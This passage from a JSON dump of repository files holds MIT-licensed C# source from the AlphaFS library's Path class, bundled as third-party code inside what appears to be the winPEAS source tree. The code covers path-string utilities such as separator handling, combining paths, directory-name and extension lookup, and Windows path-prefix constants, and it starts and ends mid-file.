    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Removes the trailing <see cref=\"DirectorySeparatorChar\"/> or <see cref=\"AltDirectorySeparatorChar\"/> character from the string, when present.</summary>\n      /// <returns>A text string where the trailing <see cref=\"DirectorySeparatorChar\"/> or <see cref=\"AltDirectorySeparatorChar\"/> character has been removed. The function returns <c>null</c> when <paramref name=\"path\"/> is <c>null</c>.</returns>\n      /// <param name=\"path\">A text string from which the trailing <see cref=\"DirectorySeparatorChar\"/> or <see cref=\"AltDirectorySeparatorChar\"/> is to be removed, when present.</param>\n      /// <param name=\"removeAlternateSeparator\">If <c>true</c> the trailing <see cref=\"AltDirectorySeparatorChar\"/> character will be removed instead.</param>\n      [SecurityCritical]\n      internal static string RemoveTrailingDirectorySeparatorCore(string path, bool removeAlternateSeparator)\n      {\n         return null != path ? path.TrimEnd(removeAlternateSeparator ? AltDirectorySeparatorChar : DirectorySeparatorChar) : null;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.AddTrailingDirectorySeparator.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Adds a trailing <see cref=\"DirectorySeparatorChar\"/> character to the string, when absent.</summary>\n      /// <returns>A text string with a trailing <see cref=\"DirectorySeparatorChar\"/> character. The function returns <c>null</c> when <paramref name=\"path\"/> is <c>null</c>.</returns>\n      /// <param name=\"path\">A text string to which the trailing <see cref=\"DirectorySeparatorChar\"/> is to be added, when absent.</param>\n      [SecurityCritical]\n      public static string AddTrailingDirectorySeparator(string path)\n      {\n         return AddTrailingDirectorySeparator(path, false);\n      }\n\n\n      /// <summary>[AlphaFS] Adds a trailing <see cref=\"DirectorySeparatorChar\"/> or <see cref=\"AltDirectorySeparatorChar\"/> character to the string, when absent.</summary>\n      /// <returns>A text string with a trailing <see cref=\"DirectorySeparatorChar\"/> or <see cref=\"AltDirectorySeparatorChar\"/> character. The function returns <c>null</c> when <paramref name=\"path\"/> is <c>null</c>.</returns>\n      /// <param name=\"path\">A text string to which the trailing <see cref=\"DirectorySeparatorChar\"/> or <see cref=\"AltDirectorySeparatorChar\"/> is to be added, when absent.</param>\n      /// <param name=\"addAlternateSeparator\">If <c>true</c> the <see cref=\"AltDirectorySeparatorChar\"/> character will be added instead.</param>\n      [SecurityCritical]\n      public static string AddTrailingDirectorySeparator(string path, bool addAlternateSeparator)\n      {\n         return AddTrailingDirectorySeparatorCore(path, addAlternateSeparator);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.ChangeExtension.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region .NET\n\n      /// <summary>Changes the extension of a path string.</summary>\n      /// <returns>The modified path information.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path information to modify. The path cannot contain any of the characters defined in <see cref=\"GetInvalidPathChars\"/>.</param>\n      /// <param name=\"extension\">The new extension (with or without a leading period). Specify <c>null</c> to remove an existing extension from path.</param>\n      [SecurityCritical]\n      public static string ChangeExtension(string path, string extension)\n      {\n         return System.IO.Path.ChangeExtension(path, extension);\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.Combine.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Combines an array of strings into a path.</summary>\n      /// <returns>The combined paths.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"paths\">An array of parts of the path.</param>\n      [SecurityCritical]\n      public static string Combine(params string[] paths)\n      {\n         return CombineCore(true, paths);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.Constants.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Characters to trim from the SearchPattern.</summary>\n      internal static readonly char[] TrimEndChars = {(char) 0x9, (char) 0xA, (char) 0xB, (char) 0xC, (char) 0xD, (char) 0x20, (char) 0x85, (char) 0xA0};\n\n      /// <summary>AltDirectorySeparatorChar = '/' Provides a platform-specific alternate character used to separate directory levels in a path string that reflects a hierarchical file system organization.</summary>\n      public static readonly char AltDirectorySeparatorChar = System.IO.Path.AltDirectorySeparatorChar;\n\n      /// <summary>[AlphaFS] AltDirectorySeparatorChar = \"/\" Provides a platform-specific alternate string used to separate directory levels in a path string that reflects a hierarchical file system organization.</summary>\n      public static readonly string AltDirectorySeparator = AltDirectorySeparatorChar.ToString(CultureInfo.InvariantCulture);\n\n\n      /// <summary>DirectorySeparatorChar = '\\' Provides a platform-specific character used to separate directory levels in a path string that reflects a hierarchical file system organization.</summary>\n      public static readonly char DirectorySeparatorChar = System.IO.Path.DirectorySeparatorChar;\n\n      /// <summary>[AlphaFS] DirectorySeparator = \"\\\" Provides a platform-specific string used to separate directory levels in a path string that reflects a hierarchical file system organization.</summary>\n      public static readonly string DirectorySeparator = DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture);\n\n\n      /// <summary>[AlphaFS] NetworkDriveSeparator = '$' Provides a platform-specific network drive separator character.</summary>\n      public const char NetworkDriveSeparatorChar = '$';\n\n      /// <summary>[AlphaFS] NetworkDriveSeparator = \"$\" Provides a platform-specific network drive separator string.</summary>\n      public static readonly string NetworkDriveSeparator = NetworkDriveSeparatorChar.ToString(CultureInfo.InvariantCulture);\n\n\n      /// <summary>PathSeparator = ';' A platform-specific separator character used to separate path strings in environment variables.</summary>\n      public static readonly char PathSeparator = System.IO.Path.PathSeparator;\n\n\n      /// <summary>VolumeSeparatorChar = ':' Provides a platform-specific Volume Separator character.</summary>\n      public static readonly char VolumeSeparatorChar = System.IO.Path.VolumeSeparatorChar;\n\n      /// <summary>[AlphaFS] VolumeSeparator = \":\" Provides a platform-specific Volume Separator string.</summary>\n      public static readonly string VolumeSeparator = VolumeSeparatorChar.ToString(CultureInfo.InvariantCulture);\n\n\n      /// <summary>[AlphaFS] StreamSeparator = ':' Provides a platform-specific Stream-name character.</summary>\n      public const char StreamSeparatorChar = ':';\n\n      /// <summary>[AlphaFS] StreamSeparator = ':' Provides a platform-specific Stream-name string.</summary>\n      public static readonly string StreamSeparator = StreamSeparatorChar.ToString(CultureInfo.InvariantCulture);\n\n\n      /// <summary>[AlphaFS] StreamDataLabel = ':$DATA' Provides a platform-specific Stream :$DATA label.</summary>\n      public static readonly string StreamDataLabel = StreamSeparator + \"$DATA\";\n\n      /// <summary>[AlphaFS] StringTerminatorChar = '\\0' String Terminator Suffix.</summary>\n      public const char StringTerminatorChar = '\\0';\n      \n      \n      /// <summary>[AlphaFS] CurrentDirectoryPrefix = '.' Provides a current directory character.</summary>\n      public const char CurrentDirectoryPrefixChar = '.';\n\n      /// <summary>[AlphaFS] CurrentDirectoryPrefix = \".\" Provides a current directory string.</summary>\n      public static readonly string CurrentDirectoryPrefix = CurrentDirectoryPrefixChar.ToString(CultureInfo.InvariantCulture);\n      \n      /// <summary>[AlphaFS] ExtensionSeparatorChar = '.' Provides an Extension Separator character.</summary>\n      public const char ExtensionSeparatorChar = '.';\n\n      /// <summary>[AlphaFS] ParentDirectoryPrefix = \"..\" Provides a parent directory string.</summary>\n      public const string ParentDirectoryPrefix = \"..\";\n      \n      /// <summary>[AlphaFS] WildcardStarMatchAll = '*' Provides a match-all-items character.</summary>\n      public const char WildcardStarMatchAllChar = '*';\n      \n      /// <summary>[AlphaFS] WildcardStarMatchAll = \"*\" Provides a match-all-items string.</summary>\n      public static readonly string WildcardStarMatchAll = WildcardStarMatchAllChar.ToString(CultureInfo.InvariantCulture);\n      \n      /// <summary>[AlphaFS] WildcardQuestion = '?' Provides a replace-item string.</summary>\n      public const char WildcardQuestionChar = '?';\n\n      /// <summary>[AlphaFS] WildcardQuestion = \"?\" Provides a replace-item string.</summary>\n      public static readonly string WildcardQuestion = WildcardQuestionChar.ToString(CultureInfo.InvariantCulture);\n\n\n      /// <summary>[AlphaFS] Win32 File Namespace. The \"\\\\?\\\" prefix to a path string tells the Windows APIs to disable all string parsing and to send the string that follows it straight to the file system.</summary>\n      public static readonly string LongPathPrefix = string.Format(CultureInfo.InvariantCulture, \"{0}{0}{1}{0}\", DirectorySeparatorChar, WildcardQuestion);\n\n      /// <summary>[AlphaFS] Win32 Device Namespace. The \"\\\\.\\\"prefix is how to access physical disks and volumes, without going through the file system, if the API supports this type of access.</summary>\n      public static readonly string LogicalDrivePrefix = string.Format(CultureInfo.InvariantCulture, \"{0}{0}.{0}\", DirectorySeparatorChar);\n\n      /// <summary>[AlphaFS] PhysicalDrivePrefix = \"\\\\.\\PhysicalDrive\" Provides standard physical drive prefix.</summary>\n      public static readonly string PhysicalDrivePrefix = string.Format(CultureInfo.InvariantCulture, \"{0}PhysicalDrive\", LogicalDrivePrefix);\n\n\n      /// <summary>[AlphaFS] GlobalRootPrefix = \"\\\\?\\GlobalRoot\\\" Provides standard Windows Volume prefix.</summary>\n      public static readonly string GlobalRootPrefix = string.Format(CultureInfo.InvariantCulture, \"{0}{1}{2}\", LongPathPrefix, \"GlobalRoot\", DirectorySeparatorChar);\n\n      /// <summary>[AlphaFS] GlobalRootDevicePrefix = \"\\\\?\\GlobalRoot\\Device\\\" Provides standard Windows Volume prefix.</summary>\n      public static readonly string GlobalRootDevicePrefix = string.Format(CultureInfo.InvariantCulture, \"{0}{2}{1}{3}{1}\", LongPathPrefix, DirectorySeparatorChar, \"GlobalRoot\", \"Device\");\n\n      /// <summary>[AlphaFS] NonInterpretedPathPrefix = \"\\??\\\" Provides a non-interpreted path prefix.</summary>\n      public static readonly string NonInterpretedPathPrefix = string.Format(CultureInfo.InvariantCulture, \"{0}{1}{1}{0}\", DirectorySeparatorChar, WildcardQuestion);\n\n      /// <summary>[AlphaFS] VolumePrefix = \"\\\\?\\Volume\" Provides standard Windows Volume prefix.</summary>\n      public static readonly string VolumePrefix = string.Format(CultureInfo.InvariantCulture, \"{0}{1}\", LongPathPrefix, \"Volume\");\n\n      /// <summary>[AlphaFS] DevicePrefix = \"\\Device\\\" Provides standard Windows Device prefix.</summary>\n      public static readonly string DevicePrefix = string.Format(CultureInfo.InvariantCulture, \"{0}{1}{0}\", DirectorySeparatorChar, \"Device\");\n\n      /// <summary>[AlphaFS] DosDeviceLanmanPrefix = \"\\Device\\LanmanRedirector\\\" Provides a MS-Dos Lanman Redirector Path UNC prefix to a network share.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Lanman\")]\n      [Obsolete(\"Unused\")]\n      public static readonly string DosDeviceLanmanPrefix = string.Format(CultureInfo.InvariantCulture, \"{0}{1}{2}\", DevicePrefix, \"LanmanRedirector\", DirectorySeparatorChar);\n\n      /// <summary>[AlphaFS] DosDeviceMupPrefix = \"\\Device\\Mup\\\" Provides a MS-Dos Mup Redirector Path UNC prefix to a network share.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Mup\")]\n      [Obsolete(\"Unused\")]\n      public static readonly string DosDeviceMupPrefix = string.Format(CultureInfo.InvariantCulture, \"{0}{1}{2}\", DevicePrefix, \"Mup\", DirectorySeparatorChar);\n\n\n      /// <summary>[AlphaFS] UncPrefix = \"\\\\\" Provides standard Windows Path UNC prefix.</summary>\n      public static readonly string UncPrefix = string.Format(CultureInfo.InvariantCulture, \"{0}{0}\", DirectorySeparatorChar);\n\n      /// <summary>[AlphaFS] DosDeviceUncPrefix = \"\\??\\UNC\\\" Provides a SUBST.EXE Path UNC prefix to a network share.</summary>\n      public static readonly string DosDeviceUncPrefix = string.Format(CultureInfo.InvariantCulture, \"{0}{1}{2}\", NonInterpretedPathPrefix, \"UNC\", DirectorySeparatorChar);\n\n      /// <summary>[AlphaFS] LongPathUncPrefix = \"\\\\?\\UNC\\\" Provides standard Windows Long Path UNC prefix.</summary>\n      public static readonly string LongPathUncPrefix = string.Format(CultureInfo.InvariantCulture, \"{0}{1}{2}\", LongPathPrefix, \"UNC\", DirectorySeparatorChar);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetDirectoryName.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region .NET\n\n      /// <summary>Returns the directory information for the specified path string.</summary>\n      /// <returns>\n      ///   <para>Directory information for <paramref name=\"path\"/>, or <c>null</c> if <paramref name=\"path\"/> denotes a root directory or is\n      ///   <c>null</c>.</para>\n      ///   <para>Returns <see cref=\"string.Empty\"/> if <paramref name=\"path\"/> does not contain directory information.</para>\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path of a file or directory.</param>\n      [SecurityCritical]\n      public static string GetDirectoryName(string path)\n      {\n         return GetDirectoryNameCore(path, true);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Returns the directory information for the specified path string.</summary>\n      /// <returns>\n      ///   Directory information for <paramref name=\"path\"/>, or <c>null</c> if <paramref name=\"path\"/> denotes a root directory or is\n      ///   <c>null</c>. Returns <see cref=\"string.Empty\"/> if <paramref name=\"path\"/> does not contain directory information.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path of a file or directory.</param>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will check <paramref name=\"path\"/> for invalid path characters.</param>\n      [SecurityCritical]\n      public static string GetDirectoryName(string path, bool checkInvalidPathChars)\n      {\n         return GetDirectoryNameCore(path, checkInvalidPathChars);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetDirectoryNameWithoutRoot.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Returns the directory information for the specified path string without the root information, for example: \"C:\\Windows\\system32\" returns: \"Windows\".</summary>\n      /// <returns>The <paramref name=\"path\"/>without the file name part and without the root information (if any), or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> denotes a root (such as \"\\\", \"C:\", or * \"\\\\server\\share\").</returns>\n      /// <param name=\"path\">The path.</param>\n      [SecurityCritical]\n      public static string GetDirectoryNameWithoutRoot(string path)\n      {\n         return GetDirectoryNameWithoutRootCore(null, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns the directory information for the specified path string without the root information, for example: \"C:\\Windows\\system32\" returns: \"Windows\".</summary>\n      /// <returns>The <paramref name=\"path\"/>without the file name part and without the root information (if any), or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> denotes a root (such as \"\\\", \"C:\", or * \"\\\\server\\share\").</returns>\n      /// <param name=\"path\">The path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static string GetDirectoryNameWithoutRoot(string path, PathFormat pathFormat)\n      {\n         return GetDirectoryNameWithoutRootCore(null, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetDirectoryNameWithoutRootTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Returns the directory information for the specified path string without the root information, for example: \"C:\\Windows\\system32\" returns: \"Windows\".</summary>\n      /// <returns>The <paramref name=\"path\"/>without the file name part and without the root information (if any), or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> denotes a root (such as \"\\\", \"C:\", or * \"\\\\server\\share\").</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path.</param>\n      [SecurityCritical]\n      public static string GetDirectoryNameWithoutRootTransacted(KernelTransaction transaction, string path)\n      {\n         return GetDirectoryNameWithoutRootCore(transaction, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns the directory information for the specified path string without the root information, for example: \"C:\\Windows\\system32\" returns: \"Windows\".</summary>\n      /// <returns>The <paramref name=\"path\"/>without the file name part and without the root information (if any), or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> denotes a root (such as \"\\\", \"C:\", or * \"\\\\server\\share\").</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static string GetDirectoryNameWithoutRootTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetDirectoryNameWithoutRootCore(transaction, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetExtension.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region .NET\n\n      /// <summary>Returns the extension of the specified path string.</summary>\n      /// <returns>\n      ///   <para>The extension of the specified path (including the period \".\"), or null, or <see cref=\"string.Empty\"/>.</para>\n      ///   <para>If <paramref name=\"path\"/> is null, this method returns null.</para>\n      ///   <para>If <paramref name=\"path\"/> does not have extension information,\n      ///   this method returns <see cref=\"string.Empty\"/>.</para>\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path string from which to get the extension. The path cannot contain any of the characters defined in <see cref=\"GetInvalidPathChars\"/>.</param>\n      [SecurityCritical]\n      public static string GetExtension(string path)\n      {\n         return GetExtensionCore(path, !Utils.IsNullOrWhiteSpace(path));\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Returns the extension of the specified path string.</summary>\n      /// <returns>\n      ///   <para>The extension of the specified path (including the period \".\"), or null, or <see cref=\"string.Empty\"/>.</para>\n      ///   <para>If <paramref name=\"path\"/> is null, this method returns null.</para>\n      ///   <para>If <paramref name=\"path\"/> does not have extension information,\n      ///   this method returns <see cref=\"string.Empty\"/>.</para>\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path string from which to get the extension. The path cannot contain any of the characters 